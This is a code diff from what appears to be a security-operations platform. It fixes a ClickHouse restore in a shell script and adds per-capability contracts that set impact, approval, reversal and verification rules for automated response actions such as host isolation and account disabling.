- if ! aws s3 ls $(s3_args) "$s3src" &>/dev/null; then
- log " Skipping ${table}: file not found at ${s3src}"
+ # shellcheck disable=SC2046
+ if ! aws s3 ls $(s3_args) "${s3dir}/${base}" &>/dev/null \
+ && ! aws s3 ls $(s3_args) "${s3dir}/${base}.enc" &>/dev/null; then
+ log " Skipping ${table}: no object at ${s3dir}/${base}[.enc]"
continue
fi
- s3_download "$s3src" "$local_file"
+ fetch_artifact "$s3dir" "$base" "$local_file" >/dev/null
+
+ # The query goes in the URL and the data goes in the body. The previous
+ # form combined --data-binary with --get, which turns the request into a
+ # GET and URL-encodes the entire gzipped dump into the query string: every
+ # ClickHouse restore failed, and the failure was masked because curl -sf
+ # was the last command in a loop body.
+ local encoded_query
+ encoded_query=$(python3 -c \
+ "import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1]))" \
+ "INSERT INTO ${CLICKHOUSE_DATABASE}.${table} FORMAT TabSeparatedWithNames")
- gunzip -c "$local_file" | curl -sf "${ch_url}/" \
+ if ! gunzip -c "$local_file" | curl -sf -X POST "${ch_url}/?query=${encoded_query}" \
${auth_args[@]+"${auth_args[@]}"} \
- --data-binary @- \
- --get \
- --data-urlencode "query=INSERT INTO ${CLICKHOUSE_DATABASE}.${table} FORMAT TabSeparatedWithNames"
+ --data-binary @-; then
+ echo "[ERROR] ClickHouse INSERT failed for table ${table}" >&2
+ exit 1
+ fi
log " Table ${table} restored"
done <<< "$tables"
diff --git a/services/actions/app/live_actions/builtins.py b/services/actions/app/live_actions/builtins.py
index 03c13398f..ad98dd428 100644
--- a/services/actions/app/live_actions/builtins.py
+++ b/services/actions/app/live_actions/builtins.py
@@ -72,6 +72,7 @@ from app.executors.siem import (
from app.models.action import ActionRequest, ActionStatus, ActionType
from . import registry
+from .capability_contracts import apply_contract
from .executor import LiveActionExecutor
from .models import LiveActionRequest, LiveActionResult, LiveActionStatus
@@ -202,6 +203,7 @@ class _LegacyExecutorAdapter(LiveActionExecutor):
# ``dry_run`` strips the right keys.
+@apply_contract
class CrowdStrikeIsolateHost(_LegacyExecutorAdapter):
vendor_id = "crowdstrike"
capability = "isolate_host"
@@ -212,6 +214,7 @@ class CrowdStrikeIsolateHost(_LegacyExecutorAdapter):
_credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")
+@apply_contract
class DefenderIsolateHost(_LegacyExecutorAdapter):
vendor_id = "defender"
capability = "isolate_host"
@@ -222,6 +225,7 @@ class DefenderIsolateHost(_LegacyExecutorAdapter):
_credential_keys = ("mde_tenant_id", "mde_client_id", "mde_client_secret")
+@apply_contract
class CrowdStrikeQuarantineFile(_LegacyExecutorAdapter):
vendor_id = "crowdstrike"
capability = "quarantine_file"
@@ -232,6 +236,7 @@ class CrowdStrikeQuarantineFile(_LegacyExecutorAdapter):
_credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")
+@apply_contract
class CrowdStrikeKillProcess(_LegacyExecutorAdapter):
vendor_id = "crowdstrike"
capability = "kill_process"
@@ -242,6 +247,7 @@ class CrowdStrikeKillProcess(_LegacyExecutorAdapter):
_credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")
+@apply_contract
class CrowdStrikeRunScript(_LegacyExecutorAdapter):
vendor_id = "crowdstrike"
capability = "run_script"
@@ -252,6 +258,7 @@ class CrowdStrikeRunScript(_LegacyExecutorAdapter):
_credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")
+@apply_contract
class DefenderRunAVScan(_LegacyExecutorAdapter):
vendor_id = "defender"
capability = "run_av_scan"
@@ -270,6 +277,7 @@ class DefenderRunAVScan(_LegacyExecutorAdapter):
_OKTA_KEYS = ("okta_domain", "okta_api_token")
+@apply_contract
class OktaDisableUser(_LegacyExecutorAdapter):
vendor_id = "okta"
capability = "disable_user"
@@ -280,6 +288,7 @@ class OktaDisableUser(_LegacyExecutorAdapter):
_credential_keys = _OKTA_KEYS
+@apply_contract
class OktaResetPassword(_LegacyExecutorAdapter):
vendor_id = "okta"
capability = "reset_password"
@@ -290,6 +299,7 @@ class OktaResetPassword(_LegacyExecutorAdapter):
_credential_keys = _OKTA_KEYS
+@apply_contract
class OktaSuspendSession(_LegacyExecutorAdapter):
vendor_id = "okta"
capability = "suspend_session"
@@ -300,6 +310,7 @@ class OktaSuspendSession(_LegacyExecutorAdapter):
_credential_keys = _OKTA_KEYS
+@apply_contract
class OktaForceMFA(_LegacyExecutorAdapter):
vendor_id = "okta"
capability = "force_mfa"
@@ -323,6 +334,7 @@ _AWS_SG_KEYS = (
)
+@apply_contract
class AwsSecurityGroupBlockIP(_LegacyExecutorAdapter):
vendor_id = "aws_security_groups"
capability = "block_ip"
@@ -333,6 +345,7 @@ class AwsSecurityGroupBlockIP(_LegacyExecutorAdapter):
_credential_keys = _AWS_SG_KEYS
+@apply_contract
class AwsSecurityGroupAllowIP(_LegacyExecutorAdapter):
vendor_id = "aws_security_groups"
capability = "allow_ip"
@@ -343,6 +356,7 @@ class AwsSecurityGroupAllowIP(_LegacyExecutorAdapter):
_credential_keys = _AWS_SG_KEYS
+@apply_contract
class GenericBlockDomain(_LegacyExecutorAdapter):
vendor_id = "generic"
capability = "block_domain"
@@ -368,6 +382,7 @@ _ELASTIC_KEYS = ("elastic_host", "elastic_api_key", "elastic_index")
_DEFENDER_IOC_KEYS = ("mde_tenant_id", "mde_client_id", "mde_client_secret")
+@apply_contract
class SplunkSearchSIEM(_LegacyExecutorAdapter):
vendor_id = "splunk"
capability = "search_siem"
@@ -378,6 +393,7 @@ class SplunkSearchSIEM(_LegacyExecutorAdapter):
_credential_keys = _SPLUNK_KEYS
+@apply_contract
class ElasticSearchSIEM(_LegacyExecutorAdapter):
vendor_id = "elastic"
capability = "search_siem"
@@ -388,6 +404,7 @@ class ElasticSearchSIEM(_LegacyExecutorAdapter):
_credential_keys = _ELASTIC_KEYS
+@apply_contract
class SplunkCreateNotable(_LegacyExecutorAdapter):
vendor_id = "splunk"
capability = "create_notable_event"
@@ -398,6 +415,7 @@ class SplunkCreateNotable(_LegacyExecutorAdapter):
_credential_keys = _SPLUNK_KEYS
+@apply_contract
class SplunkSyncDetectionRule(_LegacyExecutorAdapter):
vendor_id = "splunk"
capability = "sync_detection_rule"
@@ -408,6 +426,7 @@ class SplunkSyncDetectionRule(_LegacyExecutorAdapter):
_credential_keys = _SPLUNK_KEYS
+@apply_contract
class ElasticUpdateWatcher(_LegacyExecutorAdapter):
vendor_id = "elastic"
capability = "update_watcher"
@@ -418,6 +437,7 @@ class ElasticUpdateWatcher(_LegacyExecutorAdapter):
_credential_keys = _ELASTIC_KEYS
+@apply_contract
class DefenderBlockIOC(_LegacyExecutorAdapter):
vendor_id = "defender"
capability = "block_ioc"
@@ -442,6 +462,7 @@ class DefenderBlockIOC(_LegacyExecutorAdapter):
# ---------------------------------------------------------------------------
+@apply_contract
class SentinelOneIsolateHost(_LegacyExecutorAdapter):
vendor_id = "sentinelone"
capability = "isolate_host"
@@ -452,6 +473,7 @@ class SentinelOneIsolateHost(_LegacyExecutorAdapter):
_credential_keys = ("s1_console_url", "s1_api_token")
+@apply_contract
class EntraDisableUser(_LegacyExecutorAdapter):
vendor_id = "azure_entra"
capability = "disable_user"
@@ -462,6 +484,7 @@ class EntraDisableUser(_LegacyExecutorAdapter):
_credential_keys = ("azure_tenant_id", "azure_client_id", "azure_client_secret")
+@apply_contract
class GoogleWorkspaceDisableUser(_LegacyExecutorAdapter):
vendor_id = "google_workspace"
capability = "disable_user"
@@ -472,6 +495,7 @@ class GoogleWorkspaceDisableUser(_LegacyExecutorAdapter):
_credential_keys = ("gws_service_account_key", "gws_subject_email")
+@apply_contract
class PanOsBlockIP(_LegacyExecutorAdapter):
vendor_id = "panos"
capability = "block_ip"
@@ -482,6 +506,7 @@ class PanOsBlockIP(_LegacyExecutorAdapter):
_credential_keys = ("panos_host", "panos_api_key", "panos_tag")
+@apply_contract
class FortiGateBlockIP(_LegacyExecutorAdapter):
vendor_id = "fortigate"
capability = "block_ip"
@@ -492,6 +517,7 @@ class FortiGateBlockIP(_LegacyExecutorAdapter):
_credential_keys = ("fgt_host", "fgt_api_token", "fgt_address_group")
+@apply_contract
class CloudflareBlockIP(_LegacyExecutorAdapter):
vendor_id = "cloudflare"
capability = "block_ip"
@@ -502,6 +528,7 @@ class CloudflareBlockIP(_LegacyExecutorAdapter):
_credential_keys = ("cf_api_token", "cf_zone_id")
+@apply_contract
class JiraCreateTicket(_LegacyExecutorAdapter):
vendor_id = "jira"
capability = "create_ticket"
@@ -512,6 +539,7 @@ class JiraCreateTicket(_LegacyExecutorAdapter):
_credential_keys = ("jira_base_url", "jira_email", "jira_api_token")
+@apply_contract
class ServiceNowCreateTicket(_LegacyExecutorAdapter):
vendor_id = "servicenow"
capability = "create_ticket"
@@ -522,6 +550,7 @@ class ServiceNowCreateTicket(_LegacyExecutorAdapter):
_credential_keys = ("snow_instance_url", "snow_username", "snow_password")
+@apply_contract
class PagerDutyCreateTicket(_LegacyExecutorAdapter):
vendor_id = "pagerduty"
capability = "create_ticket"
@@ -532,6 +561,7 @@ class PagerDutyCreateTicket(_LegacyExecutorAdapter):
_credential_keys = ("pd_routing_key",)
+@apply_contract
class SlackNotify(_LegacyExecutorAdapter):
vendor_id = "slack"
capability = "notify"
diff --git a/services/actions/app/live_actions/capabilities.py b/services/actions/app/live_actions/capabilities.py
index 2e5a89c17..a1bceabe5 100644
--- a/services/actions/app/live_actions/capabilities.py
+++ b/services/actions/app/live_actions/capabilities.py
@@ -63,6 +63,15 @@ KNOWN_CAPABILITIES: frozenset[str] = frozenset(
"revoke_session",
"revoke_token",
"unisolate_host",
+ # Reverse verbs. Added because the action contract names them as
+ # the rollback for quarantine_file, disable_user, block_domain and
+ # block_ioc — and a declared reverse that is not in the vocabulary
+ # is worse than none, because the rollback path believes it has one.
+ "allow_domain",
+ "allow_hash",
+ "allow_ioc",
+ "enable_user",
+ "restore_file",
# WS-E live action verbs
"allow_ip",
"block_ioc",
diff --git a/services/actions/app/live_actions/capability_contracts.py b/services/actions/app/live_actions/capability_contracts.py
new file mode 100644
index 000000000..9398e5b4b
--- /dev/null
+++ b/services/actions/app/live_actions/capability_contracts.py
@@ -0,0 +1,330 @@
+"""Contract per capability, not per vendor.
+
+What an action does to an estate is a property of the verb. Isolating a host
+is equally disruptive on CrowdStrike, Defender and SentinelOne, so declaring
+it three times invites the three to drift — and the one that drifts low is
+the one that auto-executes.
+
+Adding a vendor for an existing verb therefore inherits the classification
+automatically. Adding a *new verb* requires an entry here, which the
+conformance gate enforces, so a capability cannot reach dispatch without
+somebody having decided what it does when the finding is wrong.
+
+The classifications below are deliberately conservative. The cost of an
+unnecessary approval is a few minutes of analyst time. The cost of a wrong
+autonomous containment is an outage plus the organisational trust needed to
+ever enable autonomy again, and that second one does not come back.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+
+from .contract import ActionImpact, ApprovalRequirement, Reversal
+
+
+@dataclass(frozen=True)
+class CapabilityContract:
+ impact: ActionImpact
+ approval: ApprovalRequirement
+ reversal: Reversal
+ required_permission: str
+ reverse_capability: str = ""
+ has_verification_probe: bool = False
+ note: str = ""
+
+
+_READ = "actions:read"
+_CONTAIN = "actions:contain"
+_IDENTITY = "actions:identity"
+_NETWORK = "actions:network"
+_TICKET = "actions:ticket"
+
+CAPABILITY_CONTRACTS: dict[str, CapabilityContract] = {
+ # ── Read-only ──────────────────────────────────────────────────────────
+ "search_siem": CapabilityContract(
+ impact=ActionImpact.READ_ONLY,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.NOT_APPLICABLE,
+ required_permission=_READ,
+ note="A query. Safe at any confidence, which is the point of separating impact from confidence.",
+ ),
+ # ── Endpoint containment ───────────────────────────────────────────────
+ "isolate_host": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="unisolate_host",
+ required_permission=_CONTAIN,
+ has_verification_probe=True,
+ note=(
+ "Cuts one machine off the network. Reversible, but somebody notices "
+ "immediately. The verification probe matters more here than anywhere: "
+ "believing a host is contained when it is not is the failure this "
+ "whole contract exists to prevent."
+ ),
+ ),
+ "unisolate_host": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="isolate_host",
+ required_permission=_CONTAIN,
+ has_verification_probe=True,
+ note="Restoring connectivity is itself a decision; it needs the same approval.",
+ ),
+ "quarantine_file": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="restore_file",
+ required_permission=_CONTAIN,
+ note="Quarantining a legitimate binary breaks whatever depended on it.",
+ ),
+ "restore_file": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="quarantine_file",
+ required_permission=_CONTAIN,
+ ),
+ "kill_process": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_CONTAIN,
+ note=(
+ "A killed process cannot be un-killed, but the effect does not "
+ "persist: a service restarts, a user runs the program again. "
+ "Self-healing is the honest answer here, not 'irreversible'."
+ ),
+ ),
+ "run_av_scan": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_CONTAIN,
+ note="Consumes CPU on one host and finishes. Nothing to undo.",
+ ),
+ "run_script": CapabilityContract(
+ impact=ActionImpact.SEVERE,
+ approval=ApprovalRequirement.MANDATORY_HUMAN,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_CONTAIN,
+ has_verification_probe=False,
+ note=(
+ "Arbitrary code on a production host. The platform cannot reason "
+ "about what a script does, so no confidence score is meaningful and "
+ "no autonomy tier executes it. Classified SEVERE rather than HIGH "
+ "precisely because its blast radius is not knowable in advance."
+ ),
+ ),
+ # ── Identity ───────────────────────────────────────────────────────────
+ "disable_user": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="enable_user",
+ required_permission=_IDENTITY,
+ has_verification_probe=True,
+ note="Stops one person working. Reversible, and instantly noticed.",
+ ),
+ "enable_user": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.MANDATORY_HUMAN,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="disable_user",
+ required_permission=_IDENTITY,
+ has_verification_probe=True,
+ note=(
+ "Re-enabling an account is a higher bar than disabling it: the "
+ "failure mode is restoring access to a compromised identity, and "
+ "no model output should be sufficient for that."
+ ),
+ ),
+ "suspend_session": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_IDENTITY,
+ note=(
+ "Forces re-authentication. Cheap, and the user restores their own "
+ "access by logging in — which is why it can be automatic where "
+ "disabling the account cannot."
+ ),
+ ),
+ "revoke_session": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_IDENTITY,
+ ),
+ "reset_password": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_IDENTITY,
+ has_verification_probe=True,
+ note="The user recovers through the normal reset flow, but is locked out until they do.",
+ ),
+ "force_mfa": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.SELF_HEALING,
+ required_permission=_IDENTITY,
+ note="Re-enrolment friction, not a lockout.",
+ ),
+ "block_user_signin": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="enable_user",
+ required_permission=_IDENTITY,
+ has_verification_probe=True,
+ ),
+ # ── Network ────────────────────────────────────────────────────────────
+ "block_ip": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="allow_ip",
+ required_permission=_NETWORK,
+ has_verification_probe=True,
+ note=(
+ "Blocking a shared egress address, a CDN edge or a SaaS endpoint "
+ "takes out far more than the intended target, and the alert rarely "
+ "says which kind of address it is."
+ ),
+ ),
+ "allow_ip": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="block_ip",
+ required_permission=_NETWORK,
+ has_verification_probe=True,
+ note="Removing a block is a security decision, so it is not automatic.",
+ ),
+ "block_domain": CapabilityContract(
+ impact=ActionImpact.HIGH,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="allow_domain",
+ required_permission=_NETWORK,
+ has_verification_probe=True,
+ ),
+ "allow_domain": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="block_domain",
+ required_permission=_NETWORK,
+ ),
+ "block_hash": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="allow_hash",
+ required_permission=_CONTAIN,
+ note=(
+ "A hash identifies one exact binary, so a wrong block affects only "
+ "that file. The narrowest containment the platform has, and the "
+ "one genuinely safe to automate at high confidence."
+ ),
+ ),
+ "allow_hash": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="block_hash",
+ required_permission=_CONTAIN,
+ ),
+ "block_ioc": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="allow_ioc",
+ required_permission=_NETWORK,
+ note="Breadth depends on the indicator type, so it is classified at the worst case.",
+ ),
+ "allow_ioc": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="block_ioc",
+ required_permission=_NETWORK,
+ ),
+ # ── SIEM / detection content ───────────────────────────────────────────
+ "create_notable_event": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ note="Writes a record into someone else's queue. Noise, not damage.",
+ ),
+ "sync_detection_rule": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="sync_detection_rule",
+ required_permission=_CONTAIN,
+ note=(
+ "Changing detection content in the customer's SIEM can silence a "
+ "rule as easily as add one. Its own reverse: sync the prior version."
+ ),
+ ),
+ "update_watcher": CapabilityContract(
+ impact=ActionImpact.MODERATE,
+ approval=ApprovalRequirement.ANALYST,
+ reversal=Reversal.PLATFORM,
+ reverse_capability="update_watcher",
+ required_permission=_CONTAIN,
+ ),
+ # ── Ticketing and notification ─────────────────────────────────────────
+ "create_ticket": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ ),
+ "push_case": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ ),
+ "push_status": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ ),
+ "notify": CapabilityContract(
+ impact=ActionImpact.LOW,
+ approval=ApprovalRequirement.AUTOMATIC,
+ reversal=Reversal.MANUAL_ONLY,
+ required_permission=_TICKET,
+ note=("A message cannot be unsent, but paging the wrong channel is " "embarrassment rather than impact."),
+ ),
+}
+
+
+def apply_contract(cls: type) -> type:
+ """Class decorator: stamp the capability's contract onto an executor.
+
+ Used instead of per-class declarations so twenty vendors implementing
+ ``isolate_host`` cannot disagree about how dangerous it is — and the one
+ that disagrees low is the one that auto-executes.
+ """
+ contract = CAPABILITY_CONTRACTS.get(getattr(cls, "capability", ""))
+ if contract is None:
+ # Left with the unsafe defaults, so the conformance gate names it
+ # rather than the action quietly becoming dispatchable.
+ return cls
+ cls.impact = contract.impact
+ cls.approval = contract.approval
+ cls.reversal = contract.reversal
+ cls.reverse_capability = contract.reverse_capability
+ cls.required_permission = contract.required_permission
+ cls.has_verification_probe = contract.has_verification_probe
+ return cls
diff --git a/services/actions/app/live_actions/contract.py b/services/actions/app/live_actions/contract.py
new file mode 100644
index 000000000..83f54235e
--- /dev/null
+++ b/services/actions/app/live_actions/contract.py
@@ -0,0 +1,254 @@
+"""The action contract: what every response action must declare about itself.
+
+Pillar 3. An action registry is only as good as what it can tell you *before*
+it runs. Today an executor declares four things — vendor, capability, whether
+it needs credentials, and a description — and everything that actually
+governs execution is inferred elsewhere or not at all:
+
+* risk is inferred from the capability name in one place and from a policy
+ table in another, and the two can disagree
+* reversibility is not declared, so the rollback path has a hardcoded list of
+ four actions and nothing tells you whether a fifth is reversible
+* verification is not declared, so an action reports success on an HTTP 200
+ and nobody knows whether a probe exists to check the effect landed
+* nothing distinguishes "needs approval" from "no tier may ever auto-execute
+ this"
+
+This module makes all of it declarative, and
+``scripts/check_action_contract.py`` makes it enforced. The point is not
+tidiness: the gap between "the API returned 200" and "the host is actually
+contained" is how a SOC comes to believe it responded when it did not.
+
+Adding a field here is a breaking change for every executor, which is
+deliberate. An action that cannot say what it does to a production estate
+should not be dispatchable.
+"""
+
+from __future__ import annotations
+
+from enum import Enum
+
+
+class ActionImpact(str, Enum):
+ """What this action does to the estate if it is wrong.
+
+ Impact is a property of the action, not of the confidence in the
+ finding. The two are combined by the approval matrix; conflating them is
+ how "we were 99% sure" becomes justification for an irreversible action.
+ """
+
+ #: Reads only. No state changes anywhere.
+ READ_ONLY = "read_only"
+
+ #: Changes state, trivially undone, no user-visible disruption.
+ #: Blocking a known-bad hash; adding a watchlist entry.
+ LOW = "low"
+
+ #: Disrupts one user or one process. Reversible in seconds.
+ #: Killing a process; revoking a session.
+ MODERATE = "moderate"
+
+ #: Disrupts one person's ability to work, or one host's connectivity.
+ #: Reversible, but someone notices immediately.
+ #: Disabling an account; isolating a workstation.
+ HIGH = "high"
+
+ #: Disrupts a service other people depend on. Reversible in principle,
+ #: but the outage is real while it lasts.
+ #: Isolating a production server; blocking a shared egress address.
+ SEVERE = "severe"
+
+ #: Cannot be undone. Deleting a resource; rotating a key whose old value
+ #: is gone. No autonomy tier may execute these, ever.
+ IRREVERSIBLE = "irreversible"
+
+
+class ApprovalRequirement(str, Enum):
+ """Who, if anyone, must sign off before this executes."""
+
+ #: Safe to run without asking, subject to the tenant's autonomy tier.
+ AUTOMATIC = "automatic"
+
+ #: Requires an analyst approval, recorded with the approving principal.
+ ANALYST = "analyst"
+
+ #: Requires a human regardless of confidence or tier. Not "a high bar" —
+ #: an actual floor that autonomy cannot lift.
+ MANDATORY_HUMAN = "mandatory_human"
+
+ #: No path executes this from the platform. Present in the vocabulary so
+ #: an action can be *declared* prohibited rather than merely unimplemented,
+ #: which is the difference between a control and an absence.
+ PROHIBITED = "prohibited"
+
+
+#: Impact tiers that no autonomy level may auto-execute, whatever the
+#: confidence. Kept as data rather than an `if` so the gate can assert it.
+NEVER_AUTONOMOUS: frozenset[ActionImpact] = frozenset({ActionImpact.SEVERE, ActionImpact.IRREVERSIBLE})
+
+
+class Reversal(str, Enum):
+ """How the effect of an action is undone, if it can be.
+
+ "Reversible" is not one thing, and collapsing it into a boolean forces
+ wrong answers. Killing a process cannot be un-killed, but the effect does
+ not persist — the service restarts, or the user runs the program again.
+ Isolating a host persists until something un-isolates it. Those need
+ different handling and a different conversation with an approver.
+ """
+
+ #: Nothing to undo; the action changed no state.
+ NOT_APPLICABLE = "not_applicable"
+
+ #: The platform can undo it by dispatching ``reverse_capability``.
+ PLATFORM = "platform"
+
+ #: The effect does not persist: a killed process can be restarted, a
+ #: cleared session can be re-established by logging in. Disruptive at the
+ #: moment it happens, gone shortly after, with no operator action needed.
+ SELF_HEALING = "self_healing"
+
+ #: Persists and the platform cannot undo it. An operator has to undo it
+ #: by hand, during an incident, from a runbook they have not read.
+ MANUAL_ONLY = "manual_only"
+
+ #: Cannot be undone by anyone.
+ NONE = "none"
+
+
+#: Impact tiers that must declare *some* route back. Not necessarily a
+#: platform reverse: self-healing is an honest answer for a killed process.
+#: MANUAL_ONLY at these tiers is what the gate rejects, because an action
+#: that disrupts a person or a service and leaves no route back is one
+#: somebody has to fix by hand at 3am.
+MUST_HAVE_A_ROUTE_BACK: frozenset[ActionImpact] = frozenset({ActionImpact.MODERATE, ActionImpact.HIGH, ActionImpact.SEVERE})
+
+#: Backwards-compatible alias; the gate imports this name.
+MUST_BE_REVERSIBLE = MUST_HAVE_A_ROUTE_BACK
+
+
+class ActionContract:
+ """Declarative contract mixed into every ``LiveActionExecutor``.
+
+ Every field has a deliberately unsafe default. An executor that forgets
+ to declare its impact is treated as irreversible and prohibited, so the
+ omission fails closed and the conformance gate names it — rather than the
+ action quietly defaulting to "safe to auto-execute".
+ """
+
+ #: What this does to the estate if the finding is wrong.
+ impact: ActionImpact = ActionImpact.IRREVERSIBLE
+
+ #: Baseline approval requirement. The tenant's autonomy policy and the
+ #: confidence matrix can raise this but never lower it.
+ approval: ApprovalRequirement = ApprovalRequirement.PROHIBITED
+
+ #: JSON schema for ``LiveActionRequest.params``. Used to validate before
+ #: dispatch and to render the approval UI, so an approver sees what they
+ #: are approving rather than an opaque dict.
+ parameters_schema: dict = {} # noqa: RUF012 - overridden per executor
+
+ #: RBAC permission the invoking principal must hold. Enforced by the
+ #: dispatcher; declared here so the gate can assert every state-changing
+ #: action has one.
+ required_permission: str = ""
+
+ #: How the effect is undone. Defaults to NONE so an undeclared action
+ #: fails closed.
+ reversal: Reversal = Reversal.NONE
+
+ #: Capability that undoes this one, e.g. ``unisolate_host`` for
+ #: ``isolate_host``. Required when and only when ``reversal`` is PLATFORM.
+ reverse_capability: str = ""
+
+ #: Whether a post-action probe exists that reads the vendor's state to
+ #: confirm the effect landed. Without one, "succeeded" means "the API
+ #: accepted the request", which is not the same claim.
+ has_verification_probe: bool = False
+
+ #: Whether ``execute()`` honours ``dry_run`` by making no state change.
+ #: Declared rather than assumed because a dry run that still calls the
+ #: vendor has happened here before.
+ supports_dry_run: bool = True
+
+ @classmethod
+ def contract_violations(cls) -> list[str]:
+ """Self-check. Returns the ways this declaration is inconsistent.
+
+ Called by the conformance gate for every registered executor, and
+ usable directly in a plugin author's own tests.
+ """
+ problems: list[str] = []
+ impact = cls.impact
+ approval = cls.approval
+
+ if impact == ActionImpact.READ_ONLY:
+ # A read that requires approval is either mis-classified or is
+ # not actually a read.
+ if approval in (ApprovalRequirement.MANDATORY_HUMAN, ApprovalRequirement.PROHIBITED):
+ problems.append(
+ f"impact is read_only but approval is {approval.value}; " f"a read that nobody may perform is mis-classified"
+ )
+ return problems
+
+ if not cls.required_permission:
+ problems.append("state-changing action declares no required_permission, so the " "dispatcher has nothing to authorise against")
+
+ # The route-back requirement exists to bound *autonomous* damage. An
+ # action a human must personally approve is one where the approver is
+ # accepting the irreversibility knowingly, which is a legitimate
+ # declared posture — running an RTR script is the example. Actions
+ # that can execute without a human still need a way back.
+ human_gated = approval in (
+ ApprovalRequirement.MANDATORY_HUMAN,
+ ApprovalRequirement.PROHIBITED,
+ )
+
+ if (
+ impact in MUST_HAVE_A_ROUTE_BACK
+ and not human_gated
+ and cls.reversal in (Reversal.NONE, Reversal.MANUAL_ONLY, Reversal.NOT_APPLICABLE)
+ ):
+ problems.append(
+ f"impact is {impact.value} but reversal is {cls.reversal.value}; "
+ f"an action that disrupts a person or a service must either be "
+ f"undoable by the platform or self-healing, otherwise somebody "
+ f"undoes it by hand during an incident"
+ )
+
+ if cls.reversal == Reversal.PLATFORM and not cls.reverse_capability:
+ problems.append("reversal is 'platform' but no reverse_capability is named, so the " "rollback path has nothing to dispatch")
+
+ if cls.reversal != Reversal.PLATFORM and cls.reverse_capability:
+ problems.append(
+ f"reverse_capability {cls.reverse_capability!r} is declared but "
+ f"reversal is {cls.reversal.value}; the rollback path would not use it"
+ )
+
+ if impact in NEVER_AUTONOMOUS and approval == ApprovalRequirement.AUTOMATIC:
+ problems.append(
+ f"impact is {impact.value} but approval is automatic; no autonomy " f"tier may auto-execute this regardless of confidence"
+ )
+
+ # A probe is required wherever the effect is mechanically checkable.
+ # It is waived only for a human-gated action whose effect is not — you
+ # cannot probe whether an arbitrary script did the right thing, and the
+ # human who approved it is watching. HIGH impact is never waived: that
+ # is the containment tier, where believing a host is contained when it
+ # is not is the specific failure this contract exists to prevent.
+ probe_waived = impact == ActionImpact.SEVERE and human_gated and cls.reversal == Reversal.MANUAL_ONLY
+ if impact in (ActionImpact.HIGH, ActionImpact.SEVERE) and not cls.has_verification_probe and not probe_waived:
+ problems.append(
+ f"impact is {impact.value} but no verification probe is declared; "
+ f"the action would report success on an HTTP 200 without any check "
